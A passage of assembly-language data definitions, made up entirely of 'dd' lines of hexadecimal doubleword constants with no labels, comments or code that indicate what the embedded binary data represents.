6F99085Ch, 0E7CB2020h dd 5CA4C454h, 11811105h, 35242303h, 71AA0721h, 3C00B010h dd 0C4074A6h, 28C660ADh, 12342059h, 78547B8Dh, 10751246h dd 46E67430h, 5E0F291h, 3EC5F54Ch, 861C20EDh, 503940C9h dd 20E30657h, 8F910111h, 41B632BEh, 0A9898110h, 9881438Ch dd 40226325h, 54043DA2h, 50087DE5h, 0B1934A27h, 301E1CE2h dd 4265DEACh, 65B1F463h, 1DAE0C4Ch, 910C5C04h, 5552905h dd 0A019063Eh, 56F054B1h, 0F1B9B0A0h, 83B33010h, 2E10480h dd 5802D987h, 18CAB198h, 0E8704350h, 0EC68918Ch, 0A5F1DACAh dd 43C2810Fh, 0D16598C0h, 4C30C103h, 8179EC04h, 5CCC1413h dd 4E0F204h, 0F3003005h, 90D211B2h, 98688791h, 0A240E353h dd 430170B8h, 2E362253h, 82201B06h, 7E1B040Bh, 70453479h dd 0E593A18Bh, 0B718BE53h, 0EE660089h, 9AABA4ECh, 227CA04h dd 630597A4h, 8A01BBE7h, 0B0425C8h, 0C65073Fh, 4CC007A7h dd 7A12DF00h, 0D956C074h, 0D42DDEh, 103C0213h, 5636046Ch dd 4240BC3Ah, 5C4162BFh, 998123E8h, 0F2B20B17h, 0BB328029h dd 0C7C39195h, 0CB9BD148h, 37135F30h, 0D726602h, 11309806h dd 0E0C03A18h, 0C62A407Bh, 5B8044D8h, 0C612DC0Eh, 0D8112B78h dd 2DE65D86h, 0E60472A7h, 78044020h, 0CBA93780h, 20513E69h dd 43C88040h, 8BE51680h, 89D4C28Bh, 4A6A8113h, 0EC9F0212h dd 55C2228Ah, 895D0109h, 1606F8C0h, 4B701h, 15A85C42h dd 28806C10h, 13DC9011h, 10388E81h, 43A10402h, 6BAD2A04h dd 89EEF008h, 0B4A11400h, 811381D0h, 0E6E280CDh, 0BB090425h dd 7CF73031h, 26AB2771h, 22C03020h, 41D2F668h, 94A8C460h dd 9867C1CBh, 90A3C1A9h, 0D40639A1h, 0BF2233E0h, 0E5D60200h dd 0E1DEB8DCh, 8F99DDEh, 0D05EC0C0h, 95208935h, 3D08A431h dd 66C9804h, 0B161CF11h, 829732DAh, 39944BCh, 0B1D97296h dd 0C0C9D5EBh, 1567D3C6h, 1F7A496Ah, 54757301h, 11373D5h dd 20214CD2h, 0EF78BE75h, 55DCE7E9h, 9891B987h, 0A330E6C7h dd 547723Eh, 10F10225h, 4020BF70h, 0A280B979h, 0A907E251h dd 3DC045C6h, 836F0084h, 460180C7h, 250019E2h, 0FC040AE4h dd 0AE468946h, 4D7D3CECh, 513C701Fh, 13C46020h, 6487601h dd 8084C602h, 0DAF00D07h, 61CBAF0h, 0C02260A0h, 0C8C04B25h dd 0E8CC6085h, 0D42C81D0h, 44A10C46h, 252A0660h, 60442058h dd 565A8C86h, 92F3452Fh, 0E8ACA3A2h, 1E825F2h, 15D045EFh dd 7CD5044Eh, 301808BAh, 0E1DADC6Dh, 7F409A60h, 0C99953ACh dd 8D7280B8h, 94297369h, 0F08250C8h, 810B760Bh, 4FA29819h dd 1F78FB77h, 44EB6C14h, 85FA680h, 117C068h, 29D27372h dd 2CB832D9h, 0B2C259CCh, 0F9EDD818h, 6B3D31C6h, 5023E608h dd 65550F4Eh, 0E9606100h, 238A6B04h, 59E6E60Ah, 43D889C8h dd 2170940h, 0B309A5AEh, 481275A1h, 1FA30E15h, 0BC12826h dd 20830C04h, 0B0FE8602h, 72C6CF0h, 18990225h, 990C044Ch dd 845DF18Ah, 11470212h, 123C3A8Eh, 0CBAA9819h, 0DCA6C081h dd 1DAE0103h, 0C4D320Bh, 332555F0h, 20101A19h, 0F13ADC06h dd 215670FCh, 9E9F6600h, 0C08F14A1h, 9833A246h, 7402CD97h dd 7C1C8AD2h, 0E4A402CCh, 0F4361842h, 83C9B30Ch, 1097700h dd 3010E4EAh, 1F7B8676h, 1DA8F182h, 2B6DB225h, 21569C04h dd 88810F80h, 0F2FACC05h, 0BAC1891h, 2AB43473h, 917B0C63h dd 2ECBF10Eh, 393BD4DCh, 22E60518h, 3B301EE0h, 82FE6F43h dd 53B3183h, 218C5350h, 0BD7BCBBCh, 0A1B2B810h, 8BEF408Fh dd 6620A01h, 31672C6h, 454FDE06h, 173F7661h, 894E3A01h dd 0F0BBAA88h, 0BDE740D2h, 1192639h, 0A05C4BB5h, 0C9F0BC31h dd 0C17A0C0Ah, 83F4C985h, 8FE8010Bh, 64D80225h, 0F376047Ch dd 924DD817h, 0A4AB261h, 0CA4F2046h, 23226510h, 0BB774A0h dd 80838CC2h, 0E2809459h, 634AAD63h, 672B6071h, 0EB240117h dd 57366A38h, 0B8AD3808h, 0EFF87010h, 0B3EE0A91h, 8CC07C36h dd 38E90E47h, 573D1178h, 5BDF8084h, 8088C08Dh, 20100899h dd 0A4405688h, 3D3371BDh, 9B485C5Eh, 984652A5h, 0F4B7040Bh dd 773932EEh, 189D1818h, 30C3A098h, 1C0D8B76h, 5144B71Bh dd 0D0648E5Fh, 76EA99ECh dd 77910227h, 867A8126h, 33E3521Ch, 708ADC8Ch, 0C2BE3C51h dd 108A618Eh, 0A67C845Fh, 197039Ah, 0A274736Bh, 35E577CAh dd 8E305276h, 71A09F13h, 9DB030EDh, 0BA35865Eh, 608110F5h dd 8B8FE023h, 150CC8C0h, 9A74B151h, 6E5607C2h, 40CF020Fh dd 70B1D04h, 278CB181h, 47110405h, 0E393042Eh, 9626FD10h dd 0F4CD8A1h, 45514655h, 4978042Bh, 9C184234h, 3797FD3Ch dd 61C3802Ch, 0C3E43C98h, 237C5DBh, 0A253C0C6h, 458C8DA3h dd 0D80800C8h, 9804AA4Dh, 0A1601715h, 2A540E97h, 7CD77804h dd 30721008h, 8B895B78h, 0BAC53AC0h, 26E561DCh, 488E7602h dd 0F0F45E0Ch, 0D0213092h, 3070F51Ah, 0F9605225h, 8C02E1F6h dd 472A40DCh, 3050588h, 88BD9146h, 0C6CC5D0Dh, 54812CE5h dd 432D1C4h, 5B08BD8h, 0CA14B741h, 70E5C947h, 9FFA0820h dd 0A010B10Ch, 69AA547Ah, 146137DCh, 22790119h, 32A62359h dd 98C0B040h, 6D6F0459h, 1D161E6h, 28C00404h, 0D8E8CEADh dd 6003239h, 0A1007C66h, 0F70146A2h, 224C8550h, 4E30130Bh dd 4C745494h, 10BD1094h, 20E71F30h, 0F34E8240h, 67DAF5ECh dd 61F50837h, 19F30118h, 1690BB37h, 96387A3Fh, 75D30879h dd 42A94040h, 8113A080h, 3D6C7A09h, 19C80C03h, 0D86308B9h dd 0C3667B39h, 85D1ABA9h, 53A00633h, 0C083818Ch, 0E519BA2Ch dd 8C0CAF97h, 2253CAC2h, 0C1809B0h, 8129F0CCh, 9C641070h dd 86029504h, 229ABA90h, 3789173Fh, 18084603h, 35A9C303h dd 4A61FC8Ch, 278C0085h, 566CF204h, 89A93080h, 11A98540h dd 8F4357C8h, 2120A45h, 8C3FDF34h, 11CA4643h, 0E0E33CD4h dd 47EA74EEh, 9BBA020Eh, 60FBB01h, 0C9651646h, 0B2811E18h dd 232E3640h, 87B0309h, 50C13E18h, 0EDD3C40Dh, 0B4F18043h dd 3730DC8Ch, 0E20A0CAEh, 0C1E0856h, 10F50238h, 8CAB3EA0h dd 8BAADC6h, 0B0110CD8h, 0B4A3572Ch, 6320757Ah, 8DDC80C5h dd 0A3045D81h, 3246C200h, 30A20E36h, 8C0458A1h, 3B177569h dd 1196C10h, 2D747045h, 6F0642E9h, 0F7E16021h, 500A05C2h dd 4BBC0085h, 0A9CF8042h, 195410DBh, 32EAF5Dh, 0F39B8E73h dd 0CB01853Ch, 4F572141h, 65651114h, 4E32810Ch, 6C042619h dd 50CB6595h, 73774E2Eh, 0C5EBD08Ch, 6E908047h, 5D83CE91h dd 0B7F38332h, 0AF0A1177h, 98211103h, 52585808h, 0E3683062h dd 210FC040h, 7568E302h, 0ACEA021Eh, 18064A3Eh, 46C89F07h dd 81C05C60h, 0CB7C01F3h, 0A6B36414h, 0CC0838CBh, 0D15F16EFh dd 0F871D26h, 1E145606h, 498B8602h, 44A9CF03h, 89F11919h dd 40FCD6C0h, 1179A80h, 0B25DDA8Eh, 8793170Ah, 0C39C80C9h dd 6023AA79h, 0A4E44C0Ch, 28F8E663h, 0D3411197h, 42A042Fh dd 1592431Ch, 0E3A1A549h, 7F76C3CFh, 714E8581h, 229C9A63h dd 9FC4D28Dh, 233CA40Fh, 0E5DF021Eh, 6EC32085h, 0E75F210h dd 41C6602h, 0C48E2888h, 403DE8Fh, 0CFEA0326h, 859601E7h dd 0E9B1C58Bh, 4DF1863h, 10389804h, 203C21D0h, 80814C60h dd 64B9A1C5h, 51A0B59Ch, 0CA821A3h, 20F036A5h, 0D46590C0h dd 2AD575C7h, 65C44486h, 20E0E60h, 8804D294h, 5910B786h dd 0B6270AEEh, 83BE0856h, 28085AACh, 4C085811h, 9831E606h dd 0A8BB953h, 808972A7h, 1160E339h, 1B5AC54Bh, 6DE6301h dd 0B13D58CAh, 87C99CCh, 0FCF003B8h, 3541C976h, 791950Bh dd 8701C601h, 69C476Bh, 2C609302h, 8C066010h, 0D8119F1Bh dd 0DDDA067Bh, 6041126Ch, 0C397C0C4h, 0BB01C8C4h, 0C402E543h dd 81E0A8Ch, 0CFB1E26h, 6A66EC28h, 73103062h, 7E360113h dd 0AA0E08D5h, 4C307011h, 98311008h, 9359E054h, 1E097B4h dd 60C4E021h, 0A80A22E8h, 63B767C9h, 9D3A018Fh, 26C3430Eh dd 0A581C144h, 451803CBh, 809B09CAh, 0ABD729C0h, 7404501Bh dd 81C148h, 0E8C02C4Ch, 1708435Dh, 53E28982h, 0F9001198h dd 74688040h, 0F4AD6020h, 0CA013010h, 6E914295h, 7F01C618h dd 0B832C170h, 5D8602F6h, 5BB0846h, 0B4042804h, 795197CCh dd 0CB125C85h, 0D8F4840Ch, 9F85232Eh, 10B5020Eh, 0F2BD1C70h dd 7519A30Ch, 1804E81Ah, 23C65596h, 0D2F1249Ch, 0B5735DAFh dd 63C0C30Eh, 0F8298080h, 46B8FA5h, 2068066h, 56C89486h dd 0EB43445h, 0A9043193h, 0F37C118Ch, 1078C020h, 957A3720h dd 45C60439h, 0A3E80980h, 30166919h, 1071046Ch, 32A8BA30h dd 0C32F585h, 0E8766714h, 0B5CBA2BAh, 45FDFE61h, 88F56C04h dd 0A1399515h, 1EF0CE5Bh, 3DD1B315h, 281A10AAh, 0AE325E3Eh dd 0C9716714h, 13D28973h, 21CD01h, 0A2347981h, 9A737234h dd 0E3E3C088h, 86570620h, 673F5B56h, 0A49EBE51h, 0BCDC0CACh dd 838C5332h, 9DEA5981h, 1E26966Bh, 0D73770B3h, 0C4117684h dd 0BD8C9CA1h, 47C81F47h, 1D310660h, 383D202Ah, 1819D32Eh dd 110BCD8h, 76446D43h, 0AC7B2197h, 42AF32B5h, 26573880h dd 64CA32E2h, 60210C18h, 9848A990h, 0CE9531CAh, 0C06A134h dd 60207716h, 8AA02DD8h, 8C991155h, 0C1810F5h, 0AADD8EE3h dd 236C3B4Ch, 1CD08E03h, 0C3E508BCh, 6B1861D5h, 230CEEEBh dd 0E4FDEAE2h, 21EC9962h, 89E2C0C0h, 3261535h, 8499C1CEh dd 56D6041Ch, 0D300D486h, 0B9374AB0h, 1757C0C7h, 42394806h dd 31F73560h, 1202B340h, 9D215B6Eh, 0CB1E1663h, 7408A464h dd 30400020h, 6044A011h, 1D92ECF0h, 2AD3B195h, 56067804h dd 940288A9h, 914FC1h, 61850E25h, 8C086654h, 98317B5Ah dd 2B94BB91h, 20237271h, 0A82E8C03h, 6077651Ch, 0C1C69D73h dd 0C601021Ah, 7DEE0205h, 87BF204h, 9C0492C8h, 178A5D49h dd 5C6E2CE9h, 0EAAD1806h, 0D2016430h, 1A4868C5h, 8140CC0Ch dd 7B3E752Eh, 0C28008BAh, 0A6A5519Bh, 0FA9241DAh, 0FF5E0084h dd 174F98CAh, 0F3051189h, 62E9263h, 0C58CAEh, 0D2524604h dd 2F4CEA0h, 1807D01h, 0F83C6C73h, 0C5B76069h, 1C6D8E30h dd 2064A804h, 0AB096960h, 2AA3AC68h, 5061037Fh, 0D0D67D1Dh dd 8EB0021Ah, 3D00216h, 133A102Bh, 947108F9h, 496E3B53h dd 792B4657h, 78D41979h, 6020C64Ch, 0A501283Dh, 4612F370h dd 0B9AC0F91h, 0F0730042h, 0B163C34Ah, 57240083h, 2A0C7219h dd 810C9804h, 42081808h, 88F0C3F3h, 2498432Fh, 660110DFh dd 8160594Bh, 0A88102A2h, 48703036h, 3B48432Ah, 7B58294Ch dd 1500380Ch, 0D5A21032h, 0DE8C8787h, 0D3919865h, 8E2A3195h dd 0AD528C0Ch, 0E03283D9h, 0A152EDAFh, 47875732h, 38AE2AE5h dd 0E29664F0h, 1577CC48h, 61CCE03h, 6020BE1Ch, 1DE58D04h dd 5AD5768Ch, 4510808Dh, 90860113h, 61960899h, 970A5EFEh dd 7996C40Dh, 67260117h, 18BB080Eh, 6044A860h, 0CF04B180h dd 61BA086Ah, 93EF32ECh, 0CAAD008Ch, 2FDBD510h, 2E1EECC3h dd 1DC8F602h, 88CFB463h, 0B837A2D8h, 0FA87FC2h, 2120A01h dd 2F50A494h, 55AABE7Fh, 65D300Ch, 6574B1F6h, 10ABA054h dd 5DB60060h, 4B91CE74h, 0B7019CC1h, 712A8110h, 5DBA08B2h dd 0C460C98Ch, 1461CC0h, 406044C3h, 6CD6D4B2h, 1F734008h dd 6F304022h, 23202F41h, 93D2176h, 875450B8h, 1077D8B0h dd 90C9AE30h, 72F83F50h, 0DAF076C0h, 571F48E6h, 75FA1029h dd 1F008218h, 98651F3Ch, 0B190859Ah, 0E3C07610h, 518C895Eh dd 760240F2h, 5918AA8Ch, 8D80030Bh, 5D50CBF7h, 0FB5889Bh dd 42508C1h, 20104DDCh dd 0E900D6BEh, 9A01F1B7h, 844481CEh, 1CAE1792h, 8EAC5F19h dd 772FE5C3h, 0CE602465h, 8CED98C0h, 0B6DD41C8h, 0D8BA6546h dd 71918F92h, 0E7E8F350h, 0F3573A52h, 8BE4C71Bh, 4D5EF08Ah dd 0FE807381h, 0B7014807h, 60289F2h, 2804128Dh, 0A3061796h dd 3B003C68h, 6ED207EBh, 7162C7D1h, 0A380CBE5h, 7CBD2BE5h dd 2C028F9Dh, 0E9D02011h, 3308085h, 0AE2ACB8Eh, 1CDA2226h dd 0DA461006h, 0FC029EAFh, 1C1C2ED1h, 1C5C154Dh, 0C4572AD6h dd 0C166845Dh, 9223CDE2h, 8D5E7556h, 0A68E0313h, 10B7472h dd 0D3E171A1h, 0C0321A05h, 3DC22DE0h, 9C0288Bh, 496E65F8h dd 5D91A7CEh, 2C085A15h, 7ABFD192h, 22C008A2h, 0C064F3A6h dd 888ACE60h, 71810AC0h, 0F402FC44h, 341082CBh, 0CDC6124Fh dd 7682AABFh, 3F945A44h, 53E0199Fh, 0BF25C32Ah, 0B839212Ch dd 556B18CAh, 7CAE62A6h, 77160B72h, 62040218h, 61A06203h dd 52783C6Bh, 0B08120ECh, 37A2864Ch, 46081732h, 18CBF8ACh dd 1840B09h, 3580F735h, 0F429CAB6h, 0C5EC809Ah, 16050BABh dd 631D7DC7h, 0AF7F9BB3h, 572A80BCh, 0AB033808h, 7AB1E717h dd 0E3C22ED5h, 2608C064h, 1C8C022Bh, 2E9E4C18h, 8973010h dd 2FD503C8h, 0C7014E63h, 940201F0h, 0F2B213C4h, 18301EB5h dd 5C698458h, 0F62A22E3h, 325E019h, 0C303868Ch, 2F05F10h dd 0AEAC1181h, 20F0918Ch, 68D83960h, 387D5591h, 73937836h dd 361A5889h, 80447B07h, 0CB96513Ah, 65A5C180h, 40C77426h dd 0A6041CBDh, 1D051C91h, 760444D3h, 0B0557011h, 0E0221F2Fh dd 0A30810Bh, 20697503h, 96087066h, 57E38281h, 0B3005D2Bh dd 0F8802BA0h, 0AE1E85F3h, 876341DAh, 21F9184h, 33CD8F94h dd 4C441C3h, 0C1D5DEC8h, 416C5C6h, 932ECCD4h, 0EAE5071h dd 8FBC945h, 0F4047A90h, 10CD561h, 95E82BF1h, 7929BCA4h dd 0F500C61Dh, 95318AA0h, 0E1908FDBh, 80668412h, 0F260794Fh dd 0A9D8C081h, 0E974C040h, 3006021h, 61244273h, 0A7CD23E3h dd 2AB8C48Bh, 33CE8587h, 68E0614Eh, 0ADBCC4A1h, 0C06040Ch dd 7B91DF17h, 5E74673Dh, 0BC036022h, 0C650A83h, 0ADF41539h dd 1F26B7C2h, 865D468Eh, 0C064DB68h, 140349FAh, 232EBA61h dd 10082E50h, 0E284BF57h, 15315D2Bh, 0DFA98C03h, 301C8EFh dd 4C03F7ECh, 83B9B96h, 0E869328Ch, 0C80C410Dh, 0B010E1DEh dd 0BF417E53h, 0F5F377FBh, 0F30CE021h, 41182AF1h, 9A60BBE0h dd 43CB1072h, 0CE60A465h, 0F2C03AC0h, 39AAA1E1h, 4918BCDh dd 63EF8C04h, 81074662h, 0B0519C49h, 3EE41008h, 31F31810h dd 0C0443140h, 0DC2C549Dh, 30F0201Eh, 28801489h, 6EB27F7Ah dd 620460Ch, 7AFA1D46h, 60321178h, 93AC2CF4h, 0A445DA3h dd 0CA72B0E6h, 0B5159A60h, 1804C55Ah, 7F505FAEh, 2B1A1D8Ah dd 57300849h, 533AE32Fh, 31710878h, 72B2D881h, 0BBA3989h dd 0C9F51B9h, 74EB0638h, 9B39059Ch, 0A0E1C10h, 326389Fh dd 9456DCC6h, 99A2C63h, 30032E9h, 9FC5D0A3h, 0F2E02174h dd 62800084h, 76FAF8E7h, 0FAABB144h, 215C7018h, 81A63A0h dd 18415ACCh, 95C61F01h, 0B34774ABh, 46030207h, 58A72BDCh dd 0B450375Bh, 1008CBADh, 0C33B8B05h, 222D749h, 51C697AEh dd 58104EB7h, 27380E47h, 22ED70FAh, 60199240h, 0A0235E76h dd 10F2E79h, 0AEC264C2h, 2AA48E9h, 3AC73402h, 80D9E68Ah dd 40C1C160h, 1371460h, 0D3200183h, 3A4624A8h, 6195B7AFh dd 11754ECh, 8CC2E546h, 7157AB8h, 9D87CA8Ah, 0A182DC1Eh dd 58B808Fh, 0A84C1145h, 0CB541A5Dh, 0DEE042Bh, 6650211h dd 102362C4h, 4DF2D166h, 6F580405h, 0B300010Bh, 4D62CAF3h dd 0CC328791h, 0F4028ACCh, 1CE38298h, 288627CFh, 538C1470h dd 6574CB6h, 4BD1BA8Eh, 730FA673h, 2120DC8Ah, 0BF4D0783h dd 3712F22Ch, 15AF6668h, 4C08E89Bh, 6A191C06h, 445695CDh dd 808532C2h, 41D2244h, 3A58B018h, 90BAA53Bh, 0CC01882h dd 9C9C2E38h, 1300895Eh, 773ABB7h, 305CD81h, 76018A4Eh dd 7BB9D3B9h, 0C15410F2h, 60210465h, 101BE67h, 0CA016DCBh dd 9432E765h, 0C3280A8Ch, 0B020A950h, 11F7B77h, 87E5678Bh dd 0C45D4A31h, 44EBCCB1h, 58210EFCh, 53CD3914h, 7728042h dd 20E3982h, 4D65D394h, 9EBCD608h, 888C66Eh, 0FBAEBE6Ch dd 6BB1A377h, 84930D22h, 8E567300h, 20E270Fh, 50110633h dd 25A0E794h, 0D6639804h, 8FB58C65h, 464CC500h, 9EEC7689h dd 86DDB573h, 7C69DE0h, 0E3618C02h, 330833Eh, 54EB1DCCh dd 114640E7h, 0CF56CEF3h, 12940A0Ah, 72C72EACh, 42B628Fh dd 1DEC3808h, 170AF095h, 7630BE01h, 1F1660A4h, 0C6022051h dd 984D22C0h, 619C374Dh, 0E02CB098h, 0EFA607AAh, 90EB020Eh dd 9919080Fh, 15619008h, 0B62C8654h, 39839555h, 8460EF53h dd 78EC82E8h, 0EAC920E1h, 130C8043h, 48215402h, 26011096h dd 5117954Fh, 64D0AFCh, 0BA831EE8h, 0C96614C7h, 0C6F17F50h dd 4619272h, 0C299E998h, 1E554664h, 1071402h, 99566747h dd 10F4906Bh, 34181660h, 0CC089A75h, 9C9A063Ch, 3E04B953h dd 0EEEBA011h, 37C9E014h, 0B8FF306h, 10096301h, 44084402h dd 4E96F360h, 10724C6Ch, 80819530h, 0DDCE3249h, 5A1E9E83h dd 4DA90316h, 3A6A1A4h, 0C9EB9804h, 0BD3F63E9h, 0A2D30102h dd 0E93E0345h, 0D501A05Ch, 40F0E6Fh, 0F4486E34h, 3267C19h dd 69577303h, 0CFB947C8h, 339EBE68h, 0F40448C2h, 66A57F6Ch dd 80C73D0Fh, 6B44F3E4h, 23F6DA3Ch, 257A67Fh, 1026EE4h dd 0EC02ED1Eh, 48EB170h, 11C637DEh, 74EEAF27h, 1ECE20EAh dd 1F487606h, 5003B211h, 40010730h, 0E0A117D1h, 40E3079Ah dd 810C15FEh, 94EB0707h, 0E604EC96h, 0AB6CEC9h, 85FB3638h dd 0B022A700h, 735CDE79h, 0FB7D042Eh, 359FA0C6h, 0DDABD403h dd 727C3145h, 97845011h, 7495A73Eh, 50B36063h, 9FC8023Eh dd 7C36E35Dh, 895DA19h, 63D1F2Ch, 0A8BAB18Ch, 7D368B9Ch dd 0C15BD3CCh, 0D5001CC0h, 3EE14C4h, 4663B8BEh, 10644280h dd 0B47395B8h, 53E20542h, 0D2B78C9Dh, 0C070C043h, 91466632h dd 0C80408CAh, 100A5790h, 808C5CACh, 0DF433928h, 7D2210F9h dd 41761213h, 112898C5h, 20E2E3A0h, 0D881B140h, 0EBC0277h dd 8447CC1Ch, 0BA75F80h, 25F03AC6h, 3090C974h, 6CAE18F2h dd 0ACC3EBBh, 0CCAD3606h, 1C0504Ch, 4ED03D9Bh, 0BD1E6604h dd 3DB0C62Eh, 0C2EDC7D6h, 0CC0C10B3h, 0FE6E71C0h, 983838Dh dd 84CE3CC1h, 30213E9h, 69067549h, 58199ABAh, 0C22C00C4h dd 12288451h, 88311246h, 9263C208h, 7B589174h, 0B318CDF1h dd 581C7BBDh, 0A4BC1E84h, 9898E2ADh, 45DDB8DFh, 0C0E4B80Dh dd 3ED533E8h, 74D46082h, 0BD9644B0h, 0C2082804h, 42E664ADh dd 1FA20855h, 587B3783h, 0F2249041h, 23B2F759h, 3A48619Ah dd 11D65395h, 0F262EA51h, 0C0838473h, 0D268697Ch, 2D13AD31h dd 948B9C4Ah, 0D82134FBh, 507BDC08h, 0AE8911F0h, 0D74576FCh dd 0C088AAC5h, 407784C0h, 0C0B030B0h, 0C0B80428h, 64871CB8h dd 58720895h, 0FA450110h, 74C5117Fh, 458FA9h, 0AB815EAAh dd 0B091F29Ch, 22AFB65Fh, 0F312966Dh, 0D4DB6400h, 255C95CBh dd 0BCD08417h, 8CF3258Ah, 21899534h, 9C60051Dh, 3E81C882h dd 45C60B9Fh, 0CD1C7EC4h, 81A780Bh, 0A5D84023h, 8168D56Dh dd 299CC0C1h, 0FA744581h dd 13B3B46Ch, 8B1E3237h, 0CF03E11Ch, 0C3BA6A3Ah, 30A9CBA6h dd 55C5D4AEh, 8DA912B7h, 0C0000ABh, 0AE585726h, 730035E4h dd 2ADF8CC8h, 134DA005h, 0B3516601h, 28D2595h, 83C70C65h dd 90D22037h, 10BAE4BEh, 7C670D88h, 6A866183h, 61924AA4h dd 61F29969h, 0F60B5734h, 0B257D045h, 35381661h, 0C46236A8h dd 30219D15h, 1130361Fh, 0B602E474h, 0E56897B9h, 709C022Ah dd 0C88DB115h, 0D4B55980h, 33FFAABCh, 4580B301h, 8E30297Ch dd 2130CC22h, 41111130h, 88BF3130h, 84B63E1h, 22DF220Ch dd 19CAEDC9h, 0AFC3E630h, 0CDA877A7h, 773F600h, 0CFD922EEh dd 0E2E9A358h, 0D3648A69h, 11046B2Bh, 541AFE1Dh, 0AB500828h dd 9511D2Eh, 0BD2A4007h, 7E335D52h, 469F8EBCh, 1563CC40h dd 70677758h, 14D3357Ah, 46A4399Ah, 856980E5h, 7A0DD30Dh dd 0A8541A91h, 207C1010h, 0FF0AFAA5h, 5698D578h, 6AF5840Dh dd 528A39C4h, 8A092A4Dh, 1C5A3A54h, 2519B022h, 0D48383AFh dd 29B457A7h, 9953CC42h, 1D1E9A70h, 0E2CC90Fh, 420DAAC4h dd 481940Dh, 0A91A19B3h, 2ABC305Ch, 5D5A294Fh, 4FF62028h dd 0CC0A7C43h, 0F609A0A3h, 0D0E43FC3h, 3288953Dh, 39EA9E16h dd 0EA34C0C7h, 48AA8FDFh, 8D5A3C4Ch, 7892B149h, 175D32BEh dd 7E6B83C2h, 2C468044h, 646A14BAh, 0B4A54F83h, 0CE7FEAEDh dd 76CDBD91h, 0A19CA6CCh, 6E7519CBh, 4023D745h, 59B3183Dh dd 7BBB9B1h, 29E0018Ah, 0C6A020Ah, 3C02302h, 0E948DEC1h dd 0E9B186A1h, 49C42632h, 75E839CBh, 0D949AA80h, 3261690Eh dd 0C80CCA01h, 591E6294h, 0D2761355h, 0C3C043D6h, 76484276h dd 3FCA885Bh, 0EF21A2BBh, 0BB408AA9h, 287B7BCAh, 40458ECCh dd 62625498h, 0A566EFDAh, 66097546h, 1D1F2335h, 0F6A945FEh dd 5A8C9850h, 48ABAAE3h, 0A3B523CCh, 48FF3080h, 0D2FA118Ch dd 0BA90506Ah, 2EF8355Ch, 0E3086331h, 3188C2A7h, 0B531852Dh dd 0A84FC765h, 2AE48347h, 0FD93F52Ch, 33708BCFh, 0A53AA2FAh dd 6E2F18BBh, 0CAF88C20h, 0AACEE1A7h, 0C3D06CF2h, 0DB0A24ABh dd 255AAB2h, 46E34CC0h, 0D4A7788Bh, 128A101Ch, 72012A7Dh dd 0BEA4BE92h, 5518F910h, 1E3753CBh, 0F6271146h, 0EE881551h dd 1A7B41FCh, 0F5CAB28Ch, 0A2AB2AA6h, 0C1A6B86Bh, 9A9E460Ch dd 6557E4A9h, 0B58A5694h, 847525D8h, 0C3C3F2EBh, 57142175h dd 10171840h, 984570A6h, 2ACD1579h, 27BB5E6Ch, 721EBEEBh dd 325C5955h, 30494636h, 725BC8E6h, 9687C715h, 7C66AE57h dd 309885C3h, 7E62F497h, 0A92AC155h, 6164156h, 5965BDBDh dd 9D2F114Bh, 0CC1C1CA6h, 0A12DA7A0h, 0C85D6E2Ah, 2E858B00h dd 1675FAE0h, 98409D99h, 69E5ED33h, 71D5DC55h, 479899AFh dd 5FEA2BB0h, 0C3FE4056h, 6566E91Bh, 184C5FEFh, 0EF8FCB37h dd 2E04545Fh, 0A58C583Ch, 4BEDC4A0h, 0AB0F9922h, 8AE28472h dd 0E361531Ch, 9B8CEF13h, 0C0CDC8ABh, 6053EECDh, 0C6117972h dd 0FB6B99CCh, 3B763717h, 0B23051D5h, 93B06122h, 5ACC30A0h dd 2FE43036h, 0A6282A6Eh, 81065493h, 5F262574h, 63D3FCD1h dd 156A0457h, 82D49409h, 465F4D11h, 0A55160B1h, 899A719Ah dd 84C5559Bh, 7988559h, 0A798CA63h, 0FCAF3F2Ah, 16553159h dd 982C9342h, 0A98AE821h, 0F71851A7h, 81548579h, 0CA63594Ah dd 35366133h, 2AB00790h, 0FDE218AAh, 6F153ACBh, 966012E6h dd 1544526h, 2621AC6Ah, 697276E3h, 0B8C8666Ch, 0C2829426h dd 4CFC03B8h, 8B2AE2BFh, 0A329CBFAh, 8ABD83C5h, 0A4015E2Bh dd 0E8C587Ch, 0AFD0F8D6h, 0C2E21628h, 73D2C0C8h, 0C84AAB3Ch dd 6E2B10AEh, 0A5C98C1Ah, 61C1B42Dh, 0EE27842Eh, 3F28DE55h dd 0CC5FE636h, 9944F651h, 6D81E20Bh, 2EF5696Dh, 0F2800690h dd 0A2EA542Bh, 0CEEE3088h, 0AEA32CDCh, 80AA043h, 0CC1ACE3h dd 5ACCB306h, 0CB8408A6h, 0D52D3C3Ah, 407D4C59h, 0C57C6518h dd 2E1F98B8h, 198B7AC6h, 5CD5460Ch, 715D8D47h, 54759149h dd 0F651984Ch, 0CCC4CE8Dh, 309804DAh, 9906E2EEh, 0A7A3A8EBh dd 0CDDEB8C2h, 0CC62774Ah, 0AA2B78EBh, 0BF1531ACh, 8BA70663h dd 7E2CC8ABh, 0E68C26h, 0BE638B95h, 5C9975C9h, 54B071E6h dd 0C61657ABh, 0A769ABA6h, 0B781BCBBh, 0AF051B5Bh, 999FF0C2h dd 4C3B28EBh, 59142AF5h, 51C8F239h, 45599C16h, 5D05FC59h dd 38DCAB19h, 0D5D14598h, 0AC08A55Bh, 1BA2A903h, 0F31A2D8Ch dd 0A3ADD5E7h, 50D6CCC1h, 0BB3949A9h, 771F7C0Bh, 13AE0E8Ah dd 2C128E11h, 80B8266Ah, 96462B30h, 0C5A1E0F4h, 0B9980E1Fh dd 5CC3C1C2h, 0CFC52045h, 9A743983h, 928574ACh, 54CBCDBBh dd 4632B58Ch, 382AE592h, 0FCE5EDh, 6F0C2B95h, 7CA3B35Ah dd 0CA40E97Ch, 5DBC94E7h, 2630A8A4h, 0DBA4AFC2h, 613571F8h dd 33F91A6Ch, 69C9CD60h, 8514BBE6h, 0A86B7983h, 2E2A44D5h dd 8C1EAC19h, 0E71AF1D7h, 492D6F2Eh, 0A6CB8E2Dh, 0F2EB9F33h dd 0C1520B0Eh, 0E2C24D9Ch, 0B0973836h, 259162ECh, 79873989h dd 6B13C291h, 1AFC7D9h, 8A5008B1h, 2A933076h, 0F9551A0Dh dd 43B2E7CAh, 0C33AA280h, 0EB22EA22h, 8E5A0A96h, 87CC8BBBh dd 0B4DB7CCEh, 0ACF3347Ch, 0F2AC3120h, 932B4933h, 3719BAC1h dd 0A8EA030h, 22AFF306h, 0BA1ABCA7h, 49FC51C3h, 36BBE8B2h dd 2CF12FF7h, 0BD1D1598h, 96547710h, 0DC55520Ch, 45D4F65Ah dd 751C1613h, 0D3469E91h, 